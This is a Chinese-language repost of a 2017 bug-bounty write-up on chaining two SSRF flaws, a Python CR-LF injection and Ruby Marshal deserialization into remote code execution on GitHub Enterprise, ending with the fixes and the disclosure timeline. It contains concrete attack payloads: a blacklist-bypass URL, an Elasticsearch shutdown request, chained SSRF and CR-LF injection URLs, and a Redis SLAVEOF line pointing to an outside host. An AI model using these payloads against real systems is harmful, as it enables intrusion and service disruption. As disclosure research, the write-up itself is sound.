首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >挖洞经验 | 看我如何综合利用4个漏洞实现GitHub Enterprise 远程代码执行

挖洞经验 | 看我如何综合利用4个漏洞实现GitHub Enterprise 远程代码执行

作者头像
FB客服
发布2018-02-28 17:18:19
1.6K0
发布2018-02-28 17:18:19
举报
文章被收录于专栏:FreeBufFreeBuf

大家好,距离上次漏洞披露已有半年之余,在这篇文章中,我将向大家展示如何通过4个漏洞完美实现GitHub Enterprise的RCE执行,该RCE实现方法与服务器端请求伪造技术(SSRF)相关,技术稍显过时但综合利用威力强大。最终,该RCE漏洞被GitHub官方认定为3周年众测项目的最佳漏洞,我也因此获得了$12500美元赏金。

在我今年受邀参加的BlackHat大会演讲PPT中,有更多关于SSRF技术的深度剖析,请大家捧场观看《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages》<点击文末的阅读原文查看>!这也是我第一次在这般高大上场合的英文演讲,非常难忘!下面我们言归正传,一起来说说这个GitHub Enterprise企业版RCE漏洞的实现方法:

说明

在我上一次对GitHub Enterprise SQL注入漏洞的发现中,曾提及利用Ruby代码破解GitHub混淆保护机制和发现SQL注入漏洞的方法,之后,就有一些优秀的漏洞挖掘者及时关注GitHub Enterprise并发现了多个上等漏洞,如:

The road to your codebase is paved with forged assertions by ilektrojohn

GitHub Enterprise Remote Code Execution by iblue

我表示后悔沮丧,为什么我就发现不了呢!?所以,接下来我打算努力去挖掘那些别人想像不到的高危漏洞。

挖洞开始

第1个漏洞 - 表面无用的SSRF漏洞

在研究GitHub Enterprise程序时,我发现了一个名为WebHook的有趣功能,它能在某些特定GIT命令执行时自定义HTTP回调。如你可定义如下回调URL:

https://///settings/hooks/new

并通过提交文件触发执行它,对此,GitHub Enterprise会利用一个HTTP请求提示你。实际的Payload和执行请求如下:

Payload URL:

http://orange.tw/foo.php

回调请求(Callback Request):

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...

另外,由于GitHub Enterprise使用Ruby Gem的faraday库来获取外部资源,并通过Gem的faraday-restrict-ip-addresses功能来防止用户请求内部服务。这个Gem功能就像一个黑名单机制,但我们可以通过RFC 3986定义的稀有IP地址格式(Rare IP Address Formats)来绕过它,想想,在Linux系统中,0代表的是localhost,所以有以下PoC:

http://0/

OK,现在我们的一个SSRF漏洞成型了,但却发挥不了作用,为什么呢?这是因为该SSRF漏洞存在以下几方面限制:

只支持POST方法 只允许HTTP和HTTPS方式 不产生302重定向 faraday中不存在CR-LF命令注入 无法对POST数据和HTTP头信息进行控制

我们唯一能控制的就是其中的Path(路径)部分。但值得一提的是,该SSRF漏洞可导致拒绝服务攻击(DoS)。

由于GitHub Enterprise的9200端口为绑定了一个ElasticSearch搜索服务,当使用关机命令时,该ElasticSearch服务不会对POST数据进行检查,因此,我们可随意对它的REST-ful API接口进行操作,可有如下DoS的PoC:

http://0:9200/_shutdown/

第2个漏洞 - 内部Graphite服务的SSRF

第1个SSRF漏洞利用存在诸多限制,所以我继续测试其内部服务看是否能为我所用。这还真是个大工程,因为其中包含了数种HTTP服务,每种服务都由C、C++、Go、Python和Ruby分别实现。在经过数天的研究之后,我发现其中一个8000端口名为Graphite的服务,该服务负责高度扩展地向用户实时显示系统当前状态,其为Python编写的开源项目(可点此下载源码)。

在对Graphite源码的分析后,我又快速发现了另外一个SSRF漏洞,它存在于以下文件

webapps/graphite/composer/views.py

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

从上述代码可以看到,Graphite服务会接收用户输入的url地址然后对该地址进行获取利用!所以,这样的话,我们就可以利用第1个SSRF漏洞来触发这第2个SSRF漏洞,最后还可将这两个漏洞组合成一个SSRF执行链。合成的SSRF执行链Payload如下:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

第二个SSRF漏洞的请求:

$ nc -vvlp 12345
...
GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK,现在我们已经成功地将基于POST的SSRF漏洞改造成了基于GET的SSRF漏洞了。但仍然不能直接实现有效的漏洞利用,再挖挖看!

第3个漏洞 - Python语言的CR-LF命令注入

可以从Graphite源码中看到,Graphite使用Python的httplib.HTTPConnection方法来获取外部资源。在经过一些研究测试后,我发现httplib.HTTPConnection方法中竟存在一个CR-LF命令注入漏洞!这样的话,我们就可以在HTTP协议中嵌入恶意Payload了。

CR-LF注入PoC:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo
:
$ nc -vvlp 12345
...
GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

该注入漏洞在整个漏洞利用链中发挥的作用非常关键。现在,我就可以在这个SSRF漏洞执行链中引入其他协议了,比如,如果想拿Redis下手,可以尝试使用下列Payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

说明:由于Redis的SLAVEOF命令可以允许执行带外数据,所以,这对某些Blind-SSRF实现非常有效。

现在漏洞利用思路已经柳暗花明,但一些可引入协议还存在问题,如:

SSH、MySQL和SSL协议会失效 由于Python2版本原因,第2个SSRF漏洞所使用的Payload只允许0x00到0x8F的字节数据通过

顺便提下,还有很多利用HTTP引入协议的利用方法,如基于Linux Glibc功能的SSL SNI引入协议,以及CVE-2016-5699的Python标注头注入等,具体参看我的BlackHat演讲PPT。

第4个漏洞 - 封装模块存在反序列化漏洞

现在的问题是,我该选择哪个协议进行引入呢?另外,我还花费了大把时间来测试控制Redis或Memcached之后可以触发的漏洞。

在对大量源码的分析过程中,我对GitHub在Memcached中存储Ruby对象的机制觉得好奇,一番研究后发现,GitHub Enterprise使用Ruby Gem的Memcached方式来处理缓存,而其通过Marshal模块进行封装。这下好了,大家知道Marshal模块本来就不安全且存在反序列化漏洞(点此参考)。更上一层楼了!我们可以使用前述的SSRF漏洞执行链来把恶意Ruby对象存储在Memcached中,当GitHub要获取缓存时,Ruby Gem memcached就会自动执行反序列化操作,这种效果就会是:哇,远程代码执行!

GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:

回过头来,我们总结梳理一下整个漏洞利用过程:

第1个SSRF漏洞,用来绕过WebHook的保护机制 第2个SSRF漏洞,存在于Graphite服务中 结合第1个和第2个SSRF漏洞,组成SSRF漏洞执行链 发现SSRF执行链中的CR-LF命令注入漏洞 利用Memcached方式的Marshal反序列化漏洞,注入恶意Marshal对象 触发远程代码执行

最终PoC如下:

视频演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html

Exploit代码

修复措施

GitHub采取了以下修复措施:

增强了Gem的faraday-restrict-ip-addresses功能 采用了自定义Django中间件来防止攻击者从外部访问http://127.0.0.1:8000/render/ 加强iptables规则,限制User-Agent: GitHub-Hookshot访问模式

漏洞报送进程

2017年01月23日23:22 通过HackerOne平台将漏洞上报GitHub

2017年01月23日23:37 GitHub进行漏洞分类

2017年01月24日04:43 GitHub确认漏洞,并回应正在修复

2017年01月31日14:01 更新版本的GitHub Enterprise 2.8.7发布

2017年02月01日01:02 GitHub回复称漏洞成功修复

2017年02月01日01:02 收到GitHub奖励的$7500刀漏洞赏金

2017年03月15日02:38 GitHub认定该漏洞为年度最佳漏洞,并再次向我奖励了$5000刀

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 说明
  • 挖洞开始
    • 第1个漏洞 - 表面无用的SSRF漏洞
      • 第2个漏洞 - 内部Graphite服务的SSRF
        • 第3个漏洞 - Python语言的CR-LF命令注入
          • 第4个漏洞 - 封装模块存在反序列化漏洞
          • Exploit代码
          • 修复措施
          • 漏洞报送进程
          相关产品与服务
          云数据库 Redis
          腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档